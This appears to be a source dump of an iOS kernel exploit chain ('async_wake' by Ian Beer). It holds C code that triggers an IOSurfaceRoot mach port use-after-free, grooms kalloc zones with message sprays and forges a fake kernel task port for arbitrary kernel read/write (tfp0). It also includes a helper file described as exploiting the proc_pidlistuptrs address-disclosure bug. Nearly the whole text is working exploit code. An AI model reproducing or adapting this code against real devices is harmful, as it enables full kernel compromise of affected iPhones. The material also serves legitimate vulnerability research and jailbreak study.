IOServiceGetMatchingService( 75 | mach_port_t _masterPort, 76 | CFDictionaryRef matching); 77 | 78 | CFMutableDictionaryRef 79 | IOServiceMatching( 80 | const char* name); 81 | 82 | kern_return_t 83 | IOServiceOpen( 84 | io_service_t service, 85 | task_port_t owningTask, 86 | uint32_t type, 87 | io_connect_t* connect ); 88 | 89 | 90 | /******** end extra headers ***************/ 91 | 92 | mach_port_t user_client = MACH_PORT_NULL; 93 | 94 | // make_dangling will drop an extra reference on port 95 | // this is the actual bug: 96 | void make_dangling(mach_port_t port) { 97 | kern_return_t err; 98 | 99 | uint64_t inputScalar[16]; 100 | uint32_t inputScalarCnt = 0; 101 | 102 | char inputStruct[4096]; 103 | size_t inputStructCnt = 0x18; 104 | 105 | uint64_t* ivals = (uint64_t*)inputStruct; 106 | ivals[0] = 1; 107 | ivals[1] = 2; 108 | ivals[2] = 3; 109 | 110 | uint64_t outputScalar[16]; 111 | uint32_t outputScalarCnt = 0; 112 | 113 | char outputStruct[4096]; 114 | size_t outputStructCnt = 0; 115 | 116 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 117 | 118 | uint64_t reference[8] = {0}; 119 | uint32_t referenceCnt = 1; 120 | 121 | for (int i = 0; i < 2; i++) { 122 | err = IOConnectCallAsyncMethod( 123 | user_client, 124 | 17, // s_set_surface_notify 125 | port, 126 | reference, 127 | referenceCnt, 128 | inputScalar, 129 | inputScalarCnt, 130 | inputStruct, 131 | inputStructCnt, 132 | outputScalar, 133 | &outputScalarCnt, 134 | outputStruct, 135 | &outputStructCnt); 136 | 137 | printf("%x\n", err); 138 | }; 139 | 140 | err = IOConnectCallMethod( 141 | user_client, 142 | 18, // s_remove_surface_notify 143 | inputScalar, 144 | inputScalarCnt, 145 | inputStruct, 146 | inputStructCnt, 147 | outputScalar, 148 | &outputScalarCnt, 149 | outputStruct, 150 | &outputStructCnt); 151 | 152 | printf("%x\n", err); 153 | } 154 | 155 | void prepare_user_client() { 156 | kern_return_t err; 157 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); 158 | 159 | if (service == IO_OBJECT_NULL){ 160 | printf(" [-] unable to find service\n"); 161 | exit(EXIT_FAILURE); 162 | } 163 | 164 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client); 165 | if (err != KERN_SUCCESS){ 166 | printf(" [-] unable to get user client connection\n"); 167 | exit(EXIT_FAILURE); 168 | } 169 | 170 | 171 | printf("got user client: 0x%x\n", user_client); 172 | } 173 | 174 | mach_port_t* prepare_ports(int n_ports) { 175 | mach_port_t* ports = malloc(n_ports * sizeof(mach_port_t)); 176 | for (int i = 0; i < n_ports; i++) { 177 | kern_return_t err; 178 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]); 179 | if (err != KERN_SUCCESS) { 180 | printf(" [-] failed to allocate port\n"); 181 | exit(EXIT_FAILURE); 182 | } 183 | } 184 | return ports; 185 | } 186 | 187 | void free_ports(mach_port_t* ports, int n_ports) { 188 | for (int i = 0; i < n_ports; i++) { 189 | mach_port_t port = ports[i]; 190 | if (port == MACH_PORT_NULL) { 191 | continue; 192 | } 193 | 194 | mach_port_destroy(mach_task_self(), port); 195 | } 196 | } 197 | 198 | struct simple_msg { 199 | mach_msg_header_t hdr; 200 | char buf[0]; 201 | }; 202 | 203 | mach_port_t send_kalloc_message(uint8_t* replacer_message_body, uint32_t replacer_body_size) { 204 | // allocate a port to send the messages to 205 | mach_port_t q = MACH_PORT_NULL; 206 | kern_return_t err; 207 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); 208 | if (err != KERN_SUCCESS) { 209 | printf(" [-] failed to allocate port\n"); 210 | exit(EXIT_FAILURE); 211 | } 212 | 213 | mach_port_limits_t limits = {0}; 214 | limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; 215 | err = mach_port_set_attributes(mach_task_self(), 216 | q, 217 | MACH_PORT_LIMITS_INFO, 218 | (mach_port_info_t)&limits, 219 | MACH_PORT_LIMITS_INFO_COUNT); 220 | if (err != KERN_SUCCESS) { 221 | printf(" [-] failed to increase queue limit\n"); 222 | exit(EXIT_FAILURE); 223 | } 224 | 225 | 226 | mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size; 227 | struct simple_msg* msg = malloc(msg_size); 228 | memset(msg, 0, sizeof(struct simple_msg)); 229 | memcpy(&msg->buf[0], replacer_message_body, replacer_body_size); 230 | 231 | for (int i = 0; i < 256; i++) { // was MACH_PORT_QLIMIT_LARGE 232 | msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 233 | msg->hdr.msgh_size = msg_size; 234 | msg->hdr.msgh_remote_port = q; 235 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 236 | msg->hdr.msgh_id = 0x41414142; 237 | 238 | err = mach_msg(&msg->hdr, 239 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 240 | msg_size, 241 | 0, 242 | MACH_PORT_NULL, 243 | MACH_MSG_TIMEOUT_NONE, 244 | MACH_PORT_NULL); 245 | 246 | if (err != KERN_SUCCESS) { 247 | printf(" [-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err)); 248 | exit(EXIT_FAILURE); 249 | } 250 | } 251 | 252 | return q; 253 | } 254 | 255 | /* 256 | for the given mach message size, how big will the ipc_kmsg structure be? 257 | 258 | This is defined in ipc_kmsg_alloc, and it's quite complicated to work it out! 259 | 260 | The size is overallocated so that if the message was sent from a 32-bit process 261 | they can expand out the 32-bit ool descriptors to the kernel's 64-bit ones, which 262 | means that for each descriptor they would need an extra 4 bytes of space for the 263 | larger pointer. Except at this point they have no idea what's in the message 264 | so they assume the worst case for all messages. This leads to approximately a 30% 265 | overhead in the allocation size. 266 | 267 | The allocated size also contains space for the maximum trailer plus the ipc_kmsg header. 268 | 269 | When the message is actually written into this buffer it's aligned to the end 270 | */ 271 | int message_size_for_kalloc_size(int kalloc_size) { 272 | return ((3*kalloc_size)/4) - 0x74; 273 | } 274 | 275 | 276 | /* 277 | build a fake task port object to get an arbitrary read 278 | 279 | I am basing this on the techniques used in Yalu 10.2 released by 280 | @qwertyoruiopz and @marcograss (and documented by Johnathan Levin 281 | in *OS Internals Volume III) 282 | 283 | There are a few difference here. We have a kernel memory disclosure bug so 284 | we know the address the dangling port pointer points to. This means we don't need 285 | to point the task to userspace to get a "what+where" primitive since we can just 286 | put whatever recursive structure we require in the object which will replace 287 | the free'd port. 288 | 289 | We can also leverage the fact that we have a dangling mach port pointer 290 | to also write to a small area of the dangling port (via mach_port_set_context) 291 | 292 | If we build the replacement object (with the fake struct task) 293 | correctly we can set it up such that by calling mach_port_set_context we can control 294 | where the arbitrary read will read from. 295 | 296 | this same method is used again a second time once the arbitrary read works so that the vm_map 297 | and receiver can be set correctly turning this into a fake kernel task port. 298 | */ 299 | 300 | uint32_t IO_BITS_ACTIVE = 0x80000000; 301 | uint32_t IKOT_TASK = 2; 302 | uint32_t IKOT_NONE = 0; 303 | 304 | uint64_t second_port_initial_context = 0x1024204110244201; 305 | 306 | uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr) { 307 | uint8_t* body = malloc(message_body_size); 308 | memset(body, 0, message_body_size); 309 | 310 | uint32_t port_page_offset = dangling_port_address & 0xfff; 311 | 312 | // structure required for the first fake port: 313 | uint8_t* fake_port = body + (port_page_offset - message_body_offset); 314 | 315 | 316 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK; 317 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references 318 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights 319 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver; 320 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef; 321 | 322 | *context_ptr = (uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)); 323 | 324 | 325 | // set the kobject pointer such that task->bsd_info reads from ip_context: 326 | int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO); 327 | 328 | uint64_t fake_task_address = dangling_port_address + fake_task_offset; 329 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address; 330 | 331 | 332 | // when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task 333 | // pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that! 334 | 335 | if (fake_port + fake_task_offset < body) { 336 | printf("the maths is wrong somewhere, fake task doesn't fit in message\n"); 337 | sleep(10); 338 | exit(EXIT_FAILURE); 339 | } 340 | 341 | uint8_t* fake_task = fake_port + fake_task_offset; 342 | 343 | // set the ref_count field of the fake task: 344 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references 345 | 346 | // make sure the task is active 347 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1; 348 | 349 | // set the vm_map of the fake task: 350 | *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map; 351 | 352 | // set the task lock type of the fake task's lock: 353 | *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22; 354 | return body; 355 | } 356 | 357 | 358 | /* 359 | * the first tpf0 we get still hangs of the dangling port and is backed by a type-confused ipc_kmsg buffer 360 | * 361 | * use that tfp0 to build a safer one such that we can safely free everything this process created and exit 362 | * without leaking memory 363 | */ 364 | mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space) { 365 | kern_return_t err; 366 | 367 | mach_port_t tfp0 = MACH_PORT_NULL; 368 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tfp0); 369 | if (err != KERN_SUCCESS) { 370 | printf("unable to allocate port\n"); 371 | } 372 | 373 | // build a fake struct task for the kernel task: 374 | //uint64_t fake_kernel_task_kaddr = kmem_alloc_wired(0x4000); 375 | uint64_t fake_kernel_task_kaddr = early_kalloc(0x1000); 376 | printf("fake_kernel_task_kaddr: %llx\n", fake_kernel_task_kaddr); 377 | 378 | 379 | void* fake_kernel_task = malloc(0x1000); 380 | memset(fake_kernel_task, 0, 0x1000); 381 | *(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references 382 | *(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1; 383 | *(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map; 384 | *(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22; 385 | kmemcpy(fake_kernel_task_kaddr, (uint64_t) fake_kernel_task, 0x1000); 386 | free(fake_kernel_task); 387 | 388 | uint32_t fake_task_refs = rk32(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)); 389 | printf("read fake_task_refs: %x\n", fake_task_refs); 390 | if (fake_task_refs != 0xd00d) { 391 | printf("read back value didn't match...\n"); 392 | } 393 | 394 | // now make the changes to the port object to make it a task port: 395 | uint64_t port_kaddr = find_port_address(tfp0, MACH_MSG_TYPE_MAKE_SEND); 396 | 397 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK); 398 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d); 399 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d); 400 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space); 401 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_kernel_task_kaddr); 402 | 403 | // swap our receive right for a send right: 404 | uint64_t task_port_addr = task_self_addr(); 405 | uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 406 | uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); 407 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 408 | 409 | uint32_t port_index = tfp0 >> 8; 410 | const int sizeof_ipc_entry_t = 0x18; 411 | uint32_t bits = rk32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry 412 | 413 | #define IE_BITS_SEND (1<<16) 414 | #define IE_BITS_RECEIVE (1<<17) 415 | 416 | bits &= (~IE_BITS_RECEIVE); 417 | bits |= IE_BITS_SEND; 418 | 419 | wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits); 420 | 421 | printf("about to test new tfp0\n"); 422 | 423 | vm_offset_t data_out = 0; 424 | mach_msg_type_number_t out_size = 0; 425 | err = mach_vm_read(tfp0, vm_map, 0x40, &data_out, &out_size); 426 | if (err != KERN_SUCCESS) { 427 | printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err)); 428 | sleep(3); 429 | exit(EXIT_FAILURE); 430 | } 431 | 432 | printf("kernel read via second tfp0 port worked?\n"); 433 | printf("0x%016llx\n", *(uint64_t*)data_out); 434 | printf("0x%016llx\n", *(uint64_t*)(data_out+8)); 435 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x10)); 436 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x18)); 437 | 438 | return tfp0; 439 | } 440 | 441 | 442 | 443 | // task_self_addr points to the struct ipc_port for our task port 444 | uint64_t find_kernel_vm_map(uint64_t task_self_addr) { 445 | uint64_t struct_task = rk64(task_self_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 446 | 447 | while (struct_task != 0) { 448 | uint64_t bsd_info = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); 449 | 450 | uint32_t pid = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID)); 451 | 452 | if (pid == 0) { 453 | uint64_t vm_map = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)); 454 | return vm_map; 455 | } 456 | 457 | struct_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV)); 458 | } 459 | 460 | printf("unable to find kernel task...\n"); 461 | sleep(10); 462 | exit(EXIT_FAILURE); 463 | } 464 | 465 | const uint64_t context_magic = 0x1214161800000000; // a random constant 466 | const uint64_t initial_context = 0x1020304015253545; // another random constant 467 | 468 | mach_port_t get_kernel_memory_rw() { 469 | // offsets are required before we get r/w: 470 | offsets_init(); 471 | 472 | kern_return_t err; 473 | 474 | uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44; 475 | uint32_t replacer_body_size = message_size_for_kalloc_size(4096) - sizeof(mach_msg_header_t); 476 | uint32_t message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE; 477 | 478 | printf("message size for kalloc.4096: %d\n", message_size_for_kalloc_size(4096)); 479 | 480 | // Creates a user client 481 | prepare_user_client(); 482 | 483 | 484 | 485 | uint64_t task_self = task_self_addr(); 486 | if (task_self == 0) { 487 | printf("unable to disclose address of our task port\n"); 488 | sleep(10); 489 | exit(EXIT_FAILURE); 490 | } 491 | printf("our task port is at 0x%llx\n", task_self); 492 | 493 | int n_pre_ports = 100000; //8000 494 | mach_port_t* pre_ports = prepare_ports(n_pre_ports); 495 | 496 | // make a bunch of smaller allocations in a different zone which can be collected later: 497 | uint32_t smaller_body_size = message_size_for_kalloc_size(1024) - sizeof(mach_msg_header_t); 498 | 499 | uint8_t* smaller_body = malloc(smaller_body_size); 500 | memset(smaller_body, 'C', smaller_body_size); 501 | 502 | const int n_smaller_ports = 600; // 150 MB 503 | mach_port_t smaller_ports[n_smaller_ports]; 504 | for (int i = 0; i < n_smaller_ports; i++) { 505 | smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size); 506 | } 507 | 508 | // now find a suitable port 509 | // we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't 510 | // completely control all the data: 511 | // specifically we're targetting kalloc.4096 but the message body will only span 512 | // xxx448 -> xxxfbc so we want to make sure the port we target is within that range 513 | // actually, since we're also putting a fake task struct here and want 514 | // the task's bsd_info pointer to overlap with the ip_context field we need a stricter range 515 | 516 | 517 | int ports_to_test = 100; 518 | int base = n_pre_ports - 1000; 519 | 520 | mach_port_t first_port = MACH_PORT_NULL; 521 | uint64_t first_port_address = 0; 522 | 523 | for (int i = 0; i < ports_to_test; i++) { 524 | mach_port_t candidate_port = pre_ports[base+i]; 525 | uint64_t candidate_address = find_port_address(candidate_port, MACH_MSG_TYPE_MAKE_SEND); 526 | uint64_t page_offset = candidate_address & 0xfff; 527 | if (page_offset > 0xa00 && page_offset < 0xe80) { // this range could be wider but there's no need 528 | printf("found target port with suitable allocation page offset: 0x%016llx\n", candidate_address); 529 | pre_ports[base+i] = MACH_PORT_NULL; 530 | first_port = candidate_port; 531 | first_port_address = candidate_address; 532 | break; 533 | } 534 | } 535 | 536 | if (first_port == MACH_PORT_NULL) { 537 | printf("unable to find a candidate port with a suitable page offset\n"); 538 | exit(EXIT_FAILURE); 539 | } 540 | 541 | 542 | uint64_t* context_ptr = NULL; 543 | uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &context_ptr); 544 | printf("replacer_body_size: 0x%x\n", replacer_body_size); 545 | printf("message_body_offset: 0x%x\n", message_body_offset); 546 | 547 | make_dangling(first_port); 548 | 549 | free_ports(pre_ports, n_pre_ports); 550 | 551 | // free the smaller ports, they will get gc'd later: 552 | for (int i = 0; i < n_smaller_ports; i++) { 553 | mach_port_destroy(mach_task_self(), smaller_ports[i]); 554 | } 555 | 556 | 557 | // now try to get that zone collected and reallocated as something controllable (kalloc.4096): 558 | 559 | const int replacer_ports_limit = 200; // about 200 MB 560 | mach_port_t replacer_ports[replacer_ports_limit]; 561 | memset(replacer_ports, 0, sizeof(replacer_ports)); 562 | uint32_t i; 563 | for (i = 0; i < replacer_ports_limit; i++) { 564 | uint64_t context_val = (context_magic)|i; 565 | *context_ptr = context_val; 566 | replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size); 567 | 568 | // we want the GC to actually finish, so go slow... 569 | pthread_yield_np(); 570 | usleep(10000); 571 | printf("%d\n", i); 572 | } 573 | 574 | 575 | // find out which replacer port it was 576 | mach_port_context_t replacer_port_number = 0; 577 | err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number); 578 | if (err != KERN_SUCCESS) { 579 | printf("unable to get context: %d %s\n", err, mach_error_string(err)); 580 | sleep(3); 581 | exit(EXIT_FAILURE); 582 | } 583 | replacer_port_number &= 0xffffffff; 584 | if (replacer_port_number >= (uint64_t)replacer_ports_limit) { 585 | printf("suspicious context value, something's wrong %lx\n", replacer_port_number); 586 | sleep(3); 587 | exit(EXIT_FAILURE); 588 | } 589 | 590 | printf("got replaced with replacer port %ld\n", replacer_port_number); 591 | 592 | prepare_rk_via_kmem_read_port(first_port); 593 | 594 | uint64_t kernel_vm_map = find_kernel_vm_map(task_self); 595 | printf("found kernel vm_map: 0x%llx\n", kernel_vm_map); 596 | 597 | 598 | // now free first replacer and put a fake kernel task port there 599 | // we need to do this becase the first time around we don't know the address 600 | // of ipc_space_kernel which means we can't fake a port owned by the kernel 601 | free(replacer_message_body); 602 | replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr); 603 | 604 | // free the first replacer 605 | mach_port_t replacer_port = replacer_ports[replacer_port_number]; 606 | replacer_ports[replacer_port_number] = MACH_PORT_NULL; 607 | mach_port_destroy(mach_task_self(), replacer_port); 608 | 609 | const int n_second_replacer_ports = 10; 610 | mach_port_t second_replacer_ports[n_second_replacer_ports]; 611 | 612 | for (int i = 0; i < n_second_replacer_ports; i++) { 613 | *context_ptr = i; 614 | second_replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size); 615 | } 616 | 617 | // hopefully that worked the second time too! 618 | // check the context: 619 | 620 | replacer_port_number = 0; 621 | err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number); 622 | if (err != KERN_SUCCESS) { 623 | printf("unable to get context: %d %s\n", err, mach_error_string(err)); 624 | sleep(3); 625 | exit(EXIT_FAILURE); 626 | } 627 | 628 | replacer_port_number &= 0xffffffff; 629 | if (replacer_port_number >= (uint64_t)n_second_replacer_ports) { 630 | printf("suspicious context value, something's wrong %lx\n", replacer_port_number); 631 | sleep(3); 632 | exit(EXIT_FAILURE); 633 | } 634 | 635 | printf("second time got replaced with replacer port %ld\n", replacer_port_number); 636 | 637 | // clear up the original replacer ports: 638 | for (int i = 0; i < replacer_ports_limit; i++) { 639 | mach_port_destroy(mach_task_self(), replacer_ports[i]); 640 | } 641 | 642 | // then clear up the second replacer ports (apart from the one in use) 643 | mach_port_t second_replacement_port = second_replacer_ports[replacer_port_number]; 644 | second_replacer_ports[replacer_port_number] = MACH_PORT_NULL; 645 | for (int i = 0; i < n_second_replacer_ports; i++) { 646 | mach_port_destroy(mach_task_self(), second_replacer_ports[i]); 647 | } 648 | 649 | printf("will try to read from second port (fake kernel)\n"); 650 | // try to read some kernel memory using the second port: 651 | vm_offset_t data_out = 0; 652 | mach_msg_type_number_t out_size = 0; 653 | err = mach_vm_read(first_port, kernel_vm_map, 0x40, &data_out, &out_size); 654 | if (err != KERN_SUCCESS) { 655 | printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err)); 656 | sleep(3); 657 | exit(EXIT_FAILURE); 658 | } 659 | 660 | printf("kernel read via fake kernel task port worked?\n"); 661 | printf("0x%016llx\n", *(uint64_t*)data_out); 662 | printf("0x%016llx\n", *(uint64_t*)(data_out+8)); 663 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x10)); 664 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x18)); 665 | 666 | prepare_rwk_via_tfp0(first_port); 667 | printf("about to build safer tfp0\n"); 668 | 669 | //early_kalloc(0x10000); 670 | //return 0; 671 | 672 | mach_port_t safer_tfp0 = build_safe_fake_tfp0(kernel_vm_map, ipc_space_kernel()); 673 | prepare_rwk_via_tfp0(safer_tfp0); 674 | 675 | printf("built safer tfp0\n"); 676 | printf("about to clear up\n"); 677 | 678 | // can now clean everything up 679 | wk32(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_NONE); 680 | wk64(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0); 681 | 682 | // first port will soon point to freed memory, so neuter it: 683 | uint64_t task_port_addr = task_self_addr(); 684 | uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 685 | uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); 686 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 687 | 688 | 689 | // mach_ports_register(mach_task_self(), &user_client, 1); 690 | // uint64_t IOSurfaceRootUserClient_port = rk64(task_addr + 0x2e8 + 0x8); 691 | // uint64_t IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 692 | // uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); 693 | // 694 | // printf("IOSurfaceRootUserClient_vtab: %016llx\n", IOSurfaceRootUserClient_vtab); 695 | // printf("IOSurfaceRootUserClient_vtab[0]: %016llx\n", rk64(IOSurfaceRootUserClient_vtab)); 696 | // printf("starting assembly of IOSurfaceRootUserClient_vtab[0]: %016llx\n", rk64(rk64(IOSurfaceRootUserClient_vtab))); 697 | // 698 | //// Use IDA to find the first occurance of the sequence of bytes from "starting assembly..." (on 6+ it is a9bf7bfd14000fe3 for IDA) 699 | //// If you don't have IDA, use a hex editor to find the offset of "e30f0014fd7bbfa9", then use `joker -a kernel`, and use the address returned as the value (again, not sure if asm is the same) 700 | //#define FIRST_VTAB_LOCATION 0xfffffff0065e19e4 701 | // 702 | // uint64_t slide = rk64(IOSurfaceRootUserClient_vtab)-FIRST_VTAB_LOCATION; 703 | // printf("slide is maybe %016llx\n", slide); 704 | // printf("ooh? %08x\n", rk32(slide + 0xFFFFFFF007004000)); 705 | // 706 | // printf("ooh? %s\n", (char*)rk64(slide + 0xFFFFFFF00758C000)); 707 | 708 | 709 | uint32_t port_index = first_port >> 8; 710 | const int sizeof_ipc_entry_t = 0x18; 711 | 712 | // remove all rights 713 | wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0); 714 | 715 | // clear the ipc_port port too 716 | wk64(is_table + (port_index * sizeof_ipc_entry_t), 0); 717 | 718 | mach_port_destroy(mach_task_self(), second_replacement_port); 719 | printf("cleared up\n"); 720 | return safer_tfp0; 721 | } 722 | 723 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); 724 | 725 | mach_port_t get_tfp0(mach_port_t*uc) { 726 | mach_port_t tfp0 = get_kernel_memory_rw(); 727 | printf("tfp0: %x\n", tfp0); 728 | 729 | *uc = user_client; 730 | 731 | if (probably_have_correct_symbols()) { 732 | printf("have symbols for this device, testing the kernel debugger...\n"); 733 | test_kdbg(); 734 | } 735 | return tfp0; 736 | } 737 | -------------------------------------------------------------------------------- /Files/async_wake.h: -------------------------------------------------------------------------------- 1 | #ifndef async_wake_h 2 | #define async_wake_h 3 | 4 | #include 5 | 6 | mach_port_t get_tfp0(mach_port_t*uc); 7 | 8 | #endif /* async_wake_h */ 9 | -------------------------------------------------------------------------------- /Files/early_kalloc.c: -------------------------------------------------------------------------------- 1 | // 2 | // early_kalloc.c 3 | // async_wake_ios 4 | // 5 | // Created by Ian Beer on 12/11/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #include "early_kalloc.h" 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | #include "find_port.h" 16 | #include "kmem.h" 17 | #include "symbols.h" 18 | 19 | extern int message_size_for_kalloc_size(int kalloc_size); 20 | 21 | // get a kalloc allocation before we've got a kcall interface to just call it 22 | uint64_t early_kalloc(int size) { 23 | mach_port_t port = MACH_PORT_NULL; 24 | kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 25 | if (err != KERN_SUCCESS) { 26 | printf("unable to allocate port\n"); 27 | } 28 | 29 | uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND); 30 | 31 | struct simple_msg { 32 | mach_msg_header_t hdr; 33 | char buf[0]; 34 | }; 35 | 36 | mach_msg_size_t msg_size = message_size_for_kalloc_size(size); 37 | struct simple_msg* msg = malloc(msg_size); 38 | memset(msg, 0, msg_size); 39 | 40 | msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 41 | msg->hdr.msgh_size = msg_size; 42 | msg->hdr.msgh_remote_port = port; 43 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 44 | msg->hdr.msgh_id = 0x41414142; 45 | 46 | err = mach_msg(&msg->hdr, 47 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 48 | msg_size, 49 | 0, 50 | MACH_PORT_NULL, 51 | MACH_MSG_TIMEOUT_NONE, 52 | MACH_PORT_NULL); 53 | 54 | if (err != KERN_SUCCESS) { 55 | printf("early kalloc failed to send message\n"); 56 | } 57 | 58 | // find the message buffer: 59 | 60 | uint64_t message_buffer = rk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE)); 61 | printf("message buffer: %llx\n", message_buffer); 62 | 63 | // leak the message buffer: 64 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0); 65 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit 66 | 67 | 68 | return message_buffer; 69 | } 70 | -------------------------------------------------------------------------------- /Files/early_kalloc.h: -------------------------------------------------------------------------------- 1 | #ifndef early_kalloc_h 2 | #define early_kalloc_h 3 | 4 | #include 5 | 6 | uint64_t early_kalloc(int size); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /Files/find_port.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | 7 | #include "find_port.h" 8 | #include "kmem.h" 9 | #include "symbols.h" 10 | #include "kutils.h" 11 | 12 | /* 13 | * this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372) 14 | * 15 | * It will reliably determine the kernel address of a mach port. 16 | * Knowing the addresses of ports makes the other UaF exploit much simpler. 17 | */ 18 